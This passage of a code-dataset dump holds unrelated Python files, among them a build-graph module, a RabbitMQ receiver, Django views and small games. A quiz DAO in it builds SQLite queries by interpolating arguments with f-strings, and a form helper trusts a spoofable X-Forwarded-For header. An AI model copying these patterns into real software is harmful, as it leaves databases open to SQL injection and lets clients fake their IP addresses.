codegen, where a \"derived\" Target is injected\n programmatically rather than read in from a BUILD file.\n\n :API: public\n\n :param Address address: The address of the new Target. Must not already be in the BuildGraph.\n :param type target_type: The class of the Target to be constructed.\n :param list
    dependencies: The dependencies of this Target, usually inferred or copied\n from the `derived_from`.\n :param Target derived_from: The Target this Target will derive from.\n \"\"\"\n\n def maybe_inject_address_closure(self, address):\n \"\"\"If the given address is not already injected to the graph, calls inject_address_closure.\n\n :API: public\n\n :param Address address: The address to inject. Must be resolvable by `self._address_mapper` or\n else be the address of an already injected entity.\n \"\"\"\n if not self.contains_address(address):\n self.inject_address_closure(address)\n\n @abstractmethod\n def inject_address_closure(self, address):\n \"\"\"Resolves, constructs and injects a Target and its transitive closure of dependencies.\n\n This method is idempotent and will short circuit for already injected addresses. For all other\n addresses though, it delegates to an internal AddressMapper to resolve item the address points\n to.\n\n :API: public\n\n :param Address address: The address to inject. Must be resolvable by `self._address_mapper` or\n else be the address of an already injected entity.\n \"\"\"\n\n @abstractmethod\n def inject_specs_closure(self, specs, fail_fast=None):\n \"\"\"Resolves, constructs and injects Targets and their transitive closures of dependencies.\n\n :API: public\n\n :param specs: A list of base.specs.Spec objects to resolve and inject.\n :param fail_fast: Whether to fail quickly for the first error, or to complete all\n possible injections before failing.\n :returns: Yields a sequence of resolved Address objects.\n \"\"\"\n\n def resolve(self, spec):\n \"\"\"Returns an iterator over the target(s) the given address points to.\"\"\"\n address = Address.parse(spec)\n # NB: This is an idempotent, short-circuiting call.\n self.inject_address_closure(address)\n return self.transitive_subgraph_of_addresses([address])\n\n @abstractmethod\n def resolve_address(self, address):\n \"\"\"Maps an address in the virtual address space to an object.\n\n :param Address address: the address to lookup in a BUILD file\n :raises AddressLookupError: if the path to the address is not found.\n :returns: The Addressable which address points to.\n \"\"\"\n\n\nclass CycleException(Exception):\n \"\"\"Thrown when a circular dependency is detected.\n\n :API: public\n \"\"\"\n\n def __init__(self, cycle):\n super(CycleException, self).__init__('Cycle detected:\\n\\t{}'.format(\n ' ->\\n\\t'.join(target.address.spec for target in cycle)\n ))\n\n\ndef invert_dependencies(targets):\n \"\"\"\n :API: public\n\n :return: the full graph of dependencies for `targets` and the list of roots.\n \"\"\"\n roots = set()\n inverted_deps = defaultdict(OrderedSet) # target -> dependent targets\n visited = set()\n path = OrderedSet()\n\n def invert(tgt):\n if tgt in path:\n path_list = list(path)\n cycle_head = path_list.index(tgt)\n cycle = path_list[cycle_head:] + [tgt]\n raise CycleException(cycle)\n path.add(tgt)\n if tgt not in visited:\n visited.add(tgt)\n if tgt.dependencies:\n for dependency in tgt.dependencies:\n inverted_deps[dependency].add(tgt)\n invert(dependency)\n else:\n roots.add(tgt)\n\n path.remove(tgt)\n\n for target in targets:\n invert(target)\n\n return roots, inverted_deps\n\n\ndef sort_targets(targets):\n \"\"\"\n :API: public\n\n :return: the targets that `targets` depend on sorted from most dependent to least.\n \"\"\"\n\n roots, inverted_deps = invert_dependencies(targets)\n ordered = []\n visited = set()\n\n def topological_sort(target):\n if target not in visited:\n visited.add(target)\n if target in inverted_deps:\n for dep in inverted_deps[target]:\n topological_sort(dep)\n ordered.append(target)\n\n for root in roots:\n topological_sort(root)\n\n return ordered\n","sub_path":"src/python/pants/build_graph/build_graph.py","file_name":"build_graph.py","file_ext":"py","file_size_in_byte":25135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"539622800","text":"\"\"\"\nRequest package snippets\n\"\"\"\n\nimport csv\nimport xml.etree.ElementTree as ET\nimport requests\n\nENDPOINT = 'https://geonode.wfp.org/geoserver/wfs'\nQUERY = {\n 'service':'wfs',\n 'typeName':'geonode:ecu_poi_damageassessment_copernicus_20160422',\n 'request':'GetFeature'\n}\n\nRESPONSE = requests.request(\n 'GET',\n ENDPOINT,\n params=QUERY\n)\n\nROOT = ET.fromstring(RESPONSE.content)\n\nNEWCSV = open('Ecuador2016_copernicus.csv', 'w')\nWRITER = csv.writer(NEWCSV)\n\n## Define header\nHEADER = ['Lat', 'Long', 'Grading', 'Type', 'Subtype']\nWRITER.writerow(HEADER)\n\n## Define namespaces for XML nodes\nNAMESPACES = {\n 'wfs': 'http://www.opengis.net/wfs/2.0',\n 'geonode': 'https://geonode.org/',\n 'gml':'http://www.opengis.net/gml/3.2'\n}\nPRIMARY_NODE = 'geonode:ecu_poi_damageassessment_copernicus_20160422'\n\n## Loop through XML nodes and write a new csv row for each\nfor node in ROOT.findall('wfs:member', NAMESPACES):\n\n ## Grab geometry string and split it to create separate lat/long values\n geom = node.find(PRIMARY_NODE, NAMESPACES).find(\n 'geonode:the_geom', NAMESPACES\n ).find('gml:Point', NAMESPACES).find('gml:pos', NAMESPACES).text\n\n LAT_LONG = geom.split()\n LAT = LAT_LONG[0]\n LONG = LAT_LONG[1]\n\n ## Grab other values\n GRADING = node.find(PRIMARY_NODE, NAMESPACES).find('geonode:grading', NAMESPACES).text\n TYPE_VALUE = node.find(PRIMARY_NODE, NAMESPACES).find('geonode:settl_type', NAMESPACES).text\n SUB_TYPE = node.find(PRIMARY_NODE, NAMESPACES).find('geonode:subtype', NAMESPACES).text\n\n ROW = [LAT, LONG, GRADING, TYPE_VALUE, SUB_TYPE]\n WRITER.writerow(ROW)\n\n## Close and save csv\nNEWCSV.close()\n","sub_path":"python/general/requests_parse_xml.py","file_name":"requests_parse_xml.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"70073994","text":"import csv, sqlite3\n\nclass Team:\n def __init__(self):\n self.team_id = None\n self.year = None\n self.bracket = None\n self.seed = None\n \n\nclass Game:\n def __init__(self):\n self.game_id = None\n self.game_round = None\n self.result = None\n self.team1 = None\n self.team2 = None\n \n\nclass GameDAO:\n\n def get_all_game_data():\n conn = sqlite3.connect('team_database.db')\n c = conn.cursor()\n \n c.execute(\n \"\"\" SELECT * FROM game;\n \"\"\" \n )\n result = c.fetchall()\n c.close()\n return result\n\n\n def get_game_data(game_id):\n conn = sqlite3.connect('team_database.db')\n c = conn.cursor()\n \n c.execute(\n f\"\"\" SELECT * FROM game\n WHERE id = \"{game_id}\";;\n \"\"\" \n )\n\n result = c.fetchall()\n c.close()\n return result\n\n\n def get_team(team_id):\n conn = sqlite3.connect('team_database.db')\n c = conn.cursor()\n \n result = c.execute(\n f\"\"\" SELECT * FROM team \n WHERE id = \"{team_id}\";\n \"\"\"\n )\n return result.fetchall()\n\n\n def get_all_team_data():\n conn = sqlite3.connect('team_database.db')\n c = conn.cursor()\n \n c.execute(\n \"\"\" SELECT * FROM team \n \"\"\" \n )\n\n result = c.fetchall()\n c.close()\n return result\n\n\n def add_game(game_round, result, team1, team2):\n conn = sqlite3.connect('team_database.db')\n c = conn.cursor()\n \n c.execute(\n f\"\"\" INSERT INTO game (game_round, team1, team2, result)\n VALUES (\"{game_round}\", \"{team1}\", \"{team2}\" , \"{result}\");\n \"\"\" \n )\n\n conn.commit()\n c.close()\n\n\n def delete_game(game_id):\n conn = sqlite3.connect('team_database.db')\n c = conn.cursor()\n \n c.execute(\n f\"\"\" DELETE FROM game WHERE id = \"{game_id}\" \"\"\" \n )\n \n conn.commit()\n c.close()\n\n","sub_path":"quiz3/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"467520704","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#############################################################################\n#\n# Copyright (c) 2013 Baidu.com, Inc. All Rights Reserved\n#\n#############################################################################\n#\n#\n# @file canSample.py\n# @author Chen Weican(chenweican@gmail.com)\n# @date 2013/06/17 17:32:32\n# @brief\n#\n#############################################################################\nimport sys\nimport random\n\nclass canSampleM():\n def __init__(self, stack_capacity):\n self.stack_capacity = stack_capacity\n self.stack = list()\n for i in range (0, self.stack_capacity):\n self.stack.append(\"a\") # use char to reduce memory usage\n self.stack_size = 0\n self.cur_count = 0\n self.pro_last = 1.0\n \n def sample(self, element):\n if (self.stack_size < self.stack_capacity):\n self.stack[self.stack_size] = element\n self.stack_size += 1\n self.cur_count += 1\n self.pro_last = 1.0\n else:\n # full, calc probability and replace\n # 1. judge whether to push new element\n fRandom = random.random()\n m = self.stack_size\n fEdge = float(m) / float(self.cur_count+1 ) # P = m / k\n if ( fRandom <= fEdge):\n # yes, push it\n iDel = random.randint(0, self.stack_size -1 )\n self.stack[iDel] = element\n self.cur_count += 1\n self.pro_last = fEdge\n\n def getResult(self):\n return self.stack\n\n\nif \"__main__\" == __name__:\n s = canSampleM(10)\n for ln in file(\"./test.sampleM\"):\n s.sample(ln)\n ret = s.getResult()\n for i in range(0, len(ret)):\n sys.stdout.write(\"%s\" % ret[i])\n\n\n\n","sub_path":"src/canSampleM.py","file_name":"canSampleM.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"584637338","text":"import time\n\nwinningConditions = [\n #horizontal winningConditions\n [0, 1, 2],\n [3, 4, 5],\n [6, 7, 8],\n #vertical winningConditions\n [0, 3, 6],\n [1, 4, 7],\n [2, 5, 8],\n #diagonal winningConditions\n [0, 4, 8],\n [2, 4, 6],\n]\n\n\nclass game():\n #even turn numbers are O and odd turn numbers are X\n turn = 0\n #indexes of the board are the top left to the bottom right\n board = [0, 0, 0, 0, 0, 0, 0, 0, 0]\n print(\"started game\")\n\n\n\n\n def __init__(self):\n self.play_turn()\n\n def index_finder(self, user_input):\n index = 0\n issues = False\n if(len(user_input.split(\" \")) < 2):\n print(\"please input two positions\")\n index = self.index_finder(input())\n issues = True\n \n \n if(not issues):\n horizontal = user_input.split(\" \")[0]\n vertical = user_input.split(\" \")[1]\n horizontal_positions =[\"l\", \"m\", \"r\",]\n vertical_positions = [\"t\", \"m\", \"b\"]\n if horizontal.lower() not in horizontal_positions:\n print(\"invalid horizonal position, try l m or r\")\n index = self.index_finder(input())\n issues = True\n if (vertical.lower() not in vertical_positions and not issues):\n print(\"invalid vertical position, try t m or b\")\n index = self.index_finder(input())\n issues = True\n\n if(vertical.lower() == \"t\"):\n index = 0\n if(horizontal.lower() == \"l\"):\n index = index + 0\n if(horizontal.lower() == \"m\"):\n index = index + 1\n if(horizontal.lower() == \"r\"):\n index = index + 2\n if(vertical.lower() == \"m\"):\n index = 3\n if(horizontal.lower() == \"l\"):\n index = index + 0\n if(horizontal.lower() == \"m\"):\n index = index + 1\n if(horizontal.lower() == \"r\"):\n index = index + 2\n if(vertical.lower() == \"b\"):\n index = 6\n if(horizontal.lower() == \"l\"):\n index = index + 0\n if(horizontal.lower() == \"m\"):\n index = index + 1\n if(horizontal.lower() == \"r\"):\n index = index + 2\n \n #print(index)\n return index\n\n def win_test(self):\n game_state = self.board\n round_won = False\n for conditions in winningConditions:\n a = game_state[conditions[0]]\n b = game_state[conditions[1]]\n c = game_state[conditions[2]]\n if(a==0 or b==0 or c==0):\n #if any of the spaces haven't been played yet the game will continue'\n continue\n if(a==b and b == c): \n round_won = True\n return round_won\n \n def draw_test(self):\n #if state is true, the board has been drawn\n #if the state becomes false the game can continue\n state = True\n for position in self.board:\n if(position == 0):\n state = False\n return state\n\n def turn_of(self, add):\n #add input is for checking the wins and stating the correct winner\n add_turn = 0\n if(add):\n add_turn = 1\n \n if ((self.turn + add_turn) % 2 == 0):\n return \"O\"\n return \"X\"\n \n \n def board_print(self):\n board_list = [None] * 9\n position_count = 0\n for position in self.board:\n \n board_list[position_count] = position\n if(position == 0):\n board_list[position_count] = \"_\"\n position_count += 1\n \n board_string = \"\"\n second_count = 0\n for character in board_list:\n board_string += character\n if(((second_count + 1) % 3) == 0):\n board_string += \"\\n\"\n second_count += 1\n print(board_string)\n \n def play_turn(self):\n \n turn_string = self.turn_of(False)\n print(\"it is \" + turn_string + \"'s turn. They can play Left(l) Middle(m) Right(r), Top(t) Middle(m) Bottom(b)\")\n turn_position = self.index_finder(input())\n if(self.board[turn_position] != 0):\n print(\"that position has already been played\")\n self.play_turn()\n return\n self.board[turn_position] = turn_string\n self.turn = self.turn + 1\n self.board_print()\n if(self.draw_test()):\n print(\"the game has resulted in a draw\")\n quit()\n if(self.win_test()):\n winning_player = self.turn_of(True)\n print(winning_player + \" has won!\")\n quit()\n \n self.play_turn()\n\nif __name__ == \"__main__\":\n potato = game()","sub_path":"Bot/tiktactoe/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":4941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"275541046","text":"'''\n@author: An Dang, Henning Schulz\n'''\n\nimport pika\nimport argparse\nimport threading\nimport functools\nfrom _warnings import warn\nfrom pika.exceptions import StreamLostError, ChannelWrongStateError\n\nfrom main import Main\nfrom producer import Producer\nfrom analysis.kneighbors import KNeighbors\nfrom elastic_connection import ElasticConnection\nfrom session_matrix_buffer import SessionMatrixBuffer\nfrom session_matrix_buffer import session_matrix_buffer_noop\n\n\nclass Receiver:\n def __init__(self, rabbitmq_host, rabbitmq_port, elastic_host, timeout, elastic_timeout, sessions_buffer, fast_test):\n print('Connecting to Elasticsearch at %r with a read timeout of %d seconds.' % (elastic_host, elastic_timeout))\n ElasticConnection.init(elastic_host, elastic_timeout)\n \n if sessions_buffer:\n print('Initializing the session matrix buffer at %r' % sessions_buffer)\n matrix_buffer = SessionMatrixBuffer(sessions_buffer)\n else:\n matrix_buffer = session_matrix_buffer_noop\n \n print('Connecting to RabbitMQ at %r:%r...' % (rabbitmq_host, rabbitmq_port))\n \n while True:\n \n connection = pika.BlockingConnection(pika.ConnectionParameters(host=rabbitmq_host, port=rabbitmq_port, heartbeat=timeout))\n channel = connection.channel()\n channel.basic_qos(prefetch_count = 1) # receive at most 1 unacked message at a time\n self.channel = channel\n \n clustering_queue = 'continuity.clustinator.task.clustinator.cluster'\n \n threads = []\n \n def clustering_work(method, body):\n Main(body, rabbitmq_host, rabbitmq_port, matrix_buffer, fast_test).start()\n connection.add_callback_threadsafe(functools.partial(channel.basic_ack, method.delivery_tag))\n \n def clustering_callback(ch, method, properties, body):\n print(\" [x] Received %r from %r\" % (method.routing_key, clustering_queue))\n t = threading.Thread(target=clustering_work, args=(method, body))\n t.start()\n threads.append(t)\n \n self.__declare_exchange_and_queue(\n 'continuity.task.clustinator.cluster',\n clustering_queue, clustering_callback)\n \n knn_queue = 'continuity.clustinator.task.clustinator.knndistance'\n \n def knn_distance_callback(ch, method, properties, body):\n print(' [x] Received %r from %r' % (method.routing_key, knn_queue))\n warn(('Need to do the work in the main thread. '\n 'Therefore, acked the message before processing it '\n 'and temporarily disconnected from RabbitMQ. '\n 'This will block all other activity.'))\n channel.basic_ack(delivery_tag=method.delivery_tag)\n connection.close()\n image = KNeighbors(body).distance_plot()\n Producer(method.routing_key, rabbitmq_host, rabbitmq_port).send_knn_image(image)\n \n self.__declare_exchange_and_queue(\n 'continuity.task.clustinator.knndistance',\n knn_queue, knn_distance_callback)\n \n print('RabbitMQ connection established.', flush=True)\n \n try:\n channel.start_consuming()\n except (ChannelWrongStateError, StreamLostError):\n print('Reopening the RabbitMQ connection at %r:%r' % (rabbitmq_host, rabbitmq_port))\n continue\n except KeyboardInterrupt:\n channel.stop_consuming()\n break\n \n print('Shutting down...')\n \n for thread in threads:\n thread.join()\n \n print('Closing the RabbitMQ connection.')\n \n connection.close()\n \n def __declare_exchange_and_queue(self, exchange_name, queue_name, callback):\n self.channel.exchange_declare(exchange=exchange_name,\n exchange_type='topic', durable=False, auto_delete=True)\n\n self.channel.queue_declare(queue_name)\n self.channel.queue_bind(queue=queue_name, exchange=exchange_name, routing_key='#')\n\n self.channel.basic_consume(queue=queue_name, on_message_callback=callback)#, auto_ack=True)\n \n print('Listening to queue %r.' % queue_name)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Start the clustinator listening to RabbitMQ.')\n parser.add_argument('--rabbitmq', nargs='?', default='localhost',\n help='The host name or IP of the RabbitMQ server')\n parser.add_argument('--rabbitmq-port', nargs='?', type=int, default=pika.ConnectionParameters.DEFAULT_PORT,\n help='The port number of the RabbitMQ server')\n parser.add_argument('--elastic', nargs='?', default='localhost',\n help='The host name or IP of the elasticsearch server')\n parser.add_argument('--timeout', nargs='?', type=int, default=pika.ConnectionParameters.DEFAULT_HEARTBEAT_TIMEOUT,\n help='The timeout in seconds after which the RabbitMQ connection is treated to be dead.')\n parser.add_argument('--elastic-timeout', nargs='?', type=int, default=10,\n help='The timeout in seconds to wait for an Elasticsearch request.')\n parser.add_argument('--sessions-buffer', nargs='?', default=None,\n help='A file path to a session matrix buffer. None means not buffering the matrices.')\n parser.add_argument('--fast-test', default=False, action='store_true',\n help='Set to true to do a fast test run without think time calculation. DO NOT USE IN PRODUCTION!')\n args = parser.parse_args()\n \n print(args)\n \n if args.fast_test:\n warn('Running in fast-test mode. Do not use this in production!')\n \n Receiver(args.rabbitmq, args.rabbitmq_port, args.elastic, args.timeout, args.elastic_timeout, args.sessions_buffer, args.fast_test)\n","sub_path":"clustinator/receiver.py","file_name":"receiver.py","file_ext":"py","file_size_in_byte":6137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"420041881","text":"from captcha.fields import ReCaptchaField\nfrom django import forms\nfrom .models import Url\n\n\ndef get_client_ip(meta):\n x_forwarded_for = meta.get('HTTP_X_FORWARDED_FOR')\n if x_forwarded_for:\n ip = x_forwarded_for.split(',')[0]\n else:\n ip = meta.get('REMOTE_ADDR')\n return ip\n\n\nclass UrlForm(forms.ModelForm):\n address = forms.URLField()\n name = forms.CharField()\n captcha = ReCaptchaField()\n\n class Meta:\n model = Url\n fields = ('address', 'name', 'captcha', 'user_ip')\n\n def __init__(self, *args, **kwargs):\n self.meta = kwargs.pop('meta', None) # Now you use self.request to access request object.\n super(UrlForm, self).__init__(*args, **kwargs)\n\n def save(self, commit=True):\n instance = super(UrlForm, self).save(commit=False)\n instance.user_ip = get_client_ip(self.meta)\n if commit:\n instance.save()\n return instance\n","sub_path":"urlshortener/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"225247474","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponseRedirect\nfrom django.views.generic import TemplateView\nfrom .forms import *\nfrom dataimport.models import Customers\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import login, authenticate\nfrom django.urls import reverse\nfrom django.shortcuts import get_object_or_404\n# Create your views here.\n\n# Returns the loggedin.html view when the user is logged in. Replaced with going straight to the index currently.\ndef loggedin(request):\n\t\n return HttpResponse(render(request, 'loggedin.html'))\n\n#Code which is used for creating accounts and verifying fields, before sending user to accountcreation.html\n#Perhaps more documentation required here?\n \n\ndef create(request):\n\tuser_form = UserCreationForm()\n\tprofile_form = ProfileForm()\n\tif request.method == 'POST':\n\t\tuser_form = UserCreationForm(request.POST or None)\n\t\tprofile_form = ProfileForm(request.POST or None)\n\t\tprint(profile_form.errors)\n\t\tprint(user_form.errors)\n\t\tif user_form.is_valid() and profile_form.is_valid():\n\t\t\tuser = user_form.save()\n\t\t\tuser.refresh_from_db() # This will load the Profile created by the Signal\n\t\t\tcustomers = Customers.objects.get(user=user)\n\t\t\tprofile_form = ProfileForm(request.POST or None, instance=customers) # Reload the profile form with the profile instance\n\t\t\tprofile_form.full_clean() # Manually clean the form this time. It is implicitly called by \"is_valid()\" method\n\t\t\tprofile_form.save() # Gracefully save the form\n\t\t\traw_password = user_form.cleaned_data.get('password1')\n\t\t\tuser = authenticate(username=user.username, password=raw_password)\n\t\t\tlogin(request, user)\n\t\t\treturn HttpResponseRedirect(reverse('thanks_page'))\n\n\t\telse:\n\t\t\tprint(profile_form.errors)\n\t\t\tprint(user_form.errors)\n\t\t\tuser_form = UserCreationForm(request.POST or None)\n\t\t\tprofile_form = ProfileForm(request.POST or None)\n\n\tcontext = {\n\t'user_form': user_form,\n\t'profile_form' : profile_form,\n\t}\n\n\treturn render(request, 'accountcreation.html', context)\n\n#Edit for profile page?\ndef edit_customer(request):\n\tprofile_form = ProfileForm()\n\n\tuser = request.user\n\tcustomers = get_object_or_404(Customers, user=user)\n\n\tprint(customers)\n\t\n\tif request.method == 'POST':\n\t\tprofile_form = ProfileForm(request.POST or None, instance=customers)\n\t\tif profile_form.is_valid(): # Reload the profile form with the profile instance\n\t\t\tprofile_form.full_clean()\n\t\t\tprofile_form.save()\n\t\t\tprint('saved')\n\telse:\n\t\tprofile_form = ProfileForm()\n\n\tcontext = {\n\t\t'profile_form' : profile_form\n\t\t}\n\n\treturn render(request, 'edit_account.html', context)","sub_path":"Project/account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"225701654","text":"file = open('stores_old.csv','r',encoding='BIG5')\n\n\n'''for line in file.readlines():\n line2 = line.split(',')\n print(line2[0],\",\",sep='',end='')\n print(line2[3],\",\",sep='',end='')\n print(line2[5],\",\",sep='',end='')\n print(line2[6],\",\",sep='',end='') \n print()\n'''\nfile2 = open('stores_new.csv','w',encoding='BIG5')\n\nfor line in file.readlines():\n line2 = line.split(',')\n file2.write(line2[0]+\",\")\n file2.write(line2[3]+\",\")\n file2.write(line2[5]+\",\")\n file2.write(line2[6]+\",\") \n file2.write(\"\\n\")\n\nfile2.close()\n\nfile.close()\n\nfile3 = open('stores_new.csv','r',encoding='BIG5')\n\nfor line in file3.readlines():\n print(line,end=\"\")\n\n\nfile3.close()\n","sub_path":"Python/FILE IO/file_csv.py","file_name":"file_csv.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"352693186","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\nimport abc\nfrom collections import namedtuple\n\nfrom oslo_log import log as logging\nfrom oslo_serialization import jsonutils\n\nimport six\n\nfrom karbor import exception\nfrom karbor.i18n import _\nfrom karbor.resource import Resource\n\n\n_GraphBuilderContext = namedtuple(\"_GraphBuilderContext\", (\n \"source_set\",\n \"encountered_set\",\n \"finished_nodes\",\n \"get_child_nodes\",\n))\n\nGraphNode = namedtuple(\"GraphNode\", (\n \"value\",\n \"child_nodes\",\n))\n\nPackedGraph = namedtuple('PackedGraph', ['nodes', 'adjacency'])\n\nLOG = logging.getLogger(__name__)\n\n\nclass FoundLoopError(RuntimeError):\n def __init__(self):\n super(FoundLoopError, self).__init__(\n _(\"A loop was found in the graph\"))\n\n\ndef _build_graph_rec(context, node):\n LOG.trace(\"Entered node: %s\", node)\n source_set = context.source_set\n encountered_set = context.encountered_set\n finished_nodes = context.finished_nodes\n LOG.trace(\"Gray set is %s\", encountered_set)\n if node in encountered_set:\n raise FoundLoopError()\n\n LOG.trace(\"Black set is %s\", finished_nodes.keys())\n if node in finished_nodes:\n return finished_nodes[node]\n\n LOG.trace(\"Change to gray: %s\", node)\n encountered_set.add(node)\n child_nodes = context.get_child_nodes(node)\n LOG.trace(\"Child nodes are %s\", child_nodes)\n # If we found a parent than this is not a source\n source_set.difference_update(child_nodes)\n child_list = []\n for child_node in child_nodes:\n child_list.append(_build_graph_rec(context, child_node))\n\n LOG.trace(\"Change to black: %s\", node)\n encountered_set.discard(node)\n graph_node = GraphNode(value=node, child_nodes=tuple(child_list))\n finished_nodes[node] = graph_node\n\n return graph_node\n\n\ndef build_graph(start_nodes, get_child_nodes_func):\n context = _GraphBuilderContext(\n source_set=set(start_nodes),\n encountered_set=set(),\n finished_nodes={},\n get_child_nodes=get_child_nodes_func,\n )\n\n result = []\n for node in start_nodes:\n result.append(_build_graph_rec(context, node))\n\n assert(len(context.encountered_set) == 0)\n\n return [item for item in result if item.value in context.source_set]\n\n\n@six.add_metaclass(abc.ABCMeta)\nclass GraphWalkerListener(object):\n \"\"\"Interface for listening to GraphWaler events\n\n Classes that want to be able to use the graph walker to iterate over\n a graph should implement this interface.\n \"\"\"\n @abc.abstractmethod\n def on_node_enter(self, node, already_visited):\n pass\n\n @abc.abstractmethod\n def on_node_exit(self, node):\n pass\n\n\nclass GraphWalker(object):\n def __init__(self):\n super(GraphWalker, self).__init__()\n self._listeners = []\n\n def register_listener(self, graph_walker_listener):\n self._listeners.append(graph_walker_listener)\n\n def unregister_listener(self, graph_walker_listener):\n self._listeners.remove(graph_walker_listener)\n\n def walk_graph(self, source_nodes):\n self._walk_graph(source_nodes, set())\n\n def _walk_graph(self, source_nodes, visited_nodes):\n for node in source_nodes:\n for listener in self._listeners:\n listener.on_node_enter(node, node in visited_nodes)\n visited_nodes.add(node)\n\n self._walk_graph(node.child_nodes, visited_nodes)\n\n for listener in self._listeners:\n listener.on_node_exit(node)\n\n\nclass PackGraphWalker(GraphWalkerListener):\n \"\"\"Pack a list of GraphNode\n\n Allocate a serialized id (sid) for every node and build an adjacency list,\n suitable for graph unpacking.\n \"\"\"\n def __init__(self, adjacency_list, nodes_dict):\n super(PackGraphWalker, self).__init__()\n self._sid_counter = 0\n self._node_to_sid = {}\n self._adjacency_list = adjacency_list\n self._sid_to_node = nodes_dict\n\n def on_node_enter(self, node, already_visited):\n pass\n\n def on_node_exit(self, node):\n def key_serialize(key):\n return hex(key)\n\n if node not in self._node_to_sid:\n node_sid = self._sid_counter\n self._sid_counter += 1\n self._node_to_sid[node] = node_sid\n self._sid_to_node[key_serialize(node_sid)] = node.value\n\n if len(node.child_nodes) > 0:\n children_sids = map(lambda node:\n key_serialize(self._node_to_sid[node]),\n node.child_nodes)\n self._adjacency_list.append(\n (key_serialize(node_sid), tuple(children_sids))\n )\n\n\ndef pack_graph(start_nodes):\n \"\"\"Return a PackedGraph from a list of GraphNodes\n\n Packs a graph into a flat PackedGraph (nodes dictionary, adjacency list).\n \"\"\"\n walker = GraphWalker()\n nodes_dict = {}\n adjacency_list = []\n packer = PackGraphWalker(adjacency_list, nodes_dict)\n walker.register_listener(packer)\n walker.walk_graph(start_nodes)\n return PackedGraph(nodes_dict, tuple(adjacency_list))\n\n\ndef unpack_graph(packed_graph):\n \"\"\"Return a list of GraphNodes from a PackedGraph\n\n Unpacks a PackedGraph, which must have the property: each parent node in\n the adjacency list appears after its children.\n \"\"\"\n (nodes, adjacency_list) = packed_graph\n nodes_dict = dict(nodes)\n graph_nodes_dict = {}\n\n for (parent_sid, children_sids) in adjacency_list:\n if parent_sid in graph_nodes_dict:\n raise exception.InvalidInput(\n reason=_(\"PackedGraph adjacency list must be topologically \"\n \"ordered\"))\n children = []\n for child_sid in children_sids:\n if child_sid not in graph_nodes_dict:\n graph_nodes_dict[child_sid] = GraphNode(\n nodes_dict[child_sid], ())\n children.append(graph_nodes_dict[child_sid])\n nodes_dict.pop(child_sid, None)\n graph_nodes_dict[parent_sid] = GraphNode(nodes_dict[parent_sid],\n tuple(children))\n\n result_nodes = []\n for sid in nodes_dict:\n if sid not in graph_nodes_dict:\n graph_nodes_dict[sid] = GraphNode(nodes_dict[sid], ())\n result_nodes.append(graph_nodes_dict[sid])\n return result_nodes\n\n\ndef serialize_resource_graph(resource_graph):\n packed_resource_graph = pack_graph(resource_graph)\n return jsonutils.dumps(\n packed_resource_graph,\n default=lambda r: (r.type, r.id, r.name, r.extra_info))\n\n\ndef deserialize_resource_graph(serialized_resource_graph):\n deserialized_graph = jsonutils.loads(serialized_resource_graph)\n packed_resource_graph = PackedGraph(nodes=deserialized_graph[0],\n adjacency=deserialized_graph[1])\n for sid, node in packed_resource_graph.nodes.items():\n packed_resource_graph.nodes[sid] = Resource(type=node[0],\n id=node[1],\n name=node[2],\n extra_info=node[3])\n resource_graph = unpack_graph(packed_resource_graph)\n return resource_graph\n","sub_path":"karbor-1.3.0/karbor/services/protection/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":7813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"63280501","text":"#!/usr/bin/env python3\n\nfrom customerrors import CustomErrors\n\nfrom room import Room\nfrom roomcluster import RoomCluster\n\nfrom ConsumablesCharacters.enemy import EnemyType\nfrom ConsumablesCharacters.newenemy import NewEnemy\nfrom ConsumablesCharacters.player import Player\n\nfrom ConsumablesCharacters.lootroom import LootRoom\nfrom ConsumablesCharacters.inventorycontrol import InventoryControl\n\nclass TextAdventureGameEngine(CustomErrors):\n \n '''\n Key, universal terms for directions:\n Left: 'l'\n Right: 'r'\n Forward: 'f'\n Back: 'b'\n Unknown: '!'\n '''\n \n inventoryManager = InventoryControl()\n \n player = Player()\n \n def __init__(self, startRoom, startMap, searchables=[], allowBack=True, defaultDirections=None):\n super().__init__()\n \n self.points = 0\n \n self.startRoom = startRoom\n self.startMap = startMap\n \n self.lastMove = ''\n \n self.moveRelations = {'right' : 'r',\n 'left' : 'l',\n 'forward' : 'f',\n 'back' : 'b'\n }\n \n if not isinstance(self.startRoom, Room):\n raise self.INVALIDOBJECT('Please pass an object of the Room class!')\n \n self.currentRoom = self.startRoom.name\n self.currentRoomObj = self.startRoom\n \n self.currentMap = self.startMap\n \n if not isinstance(self.startMap, 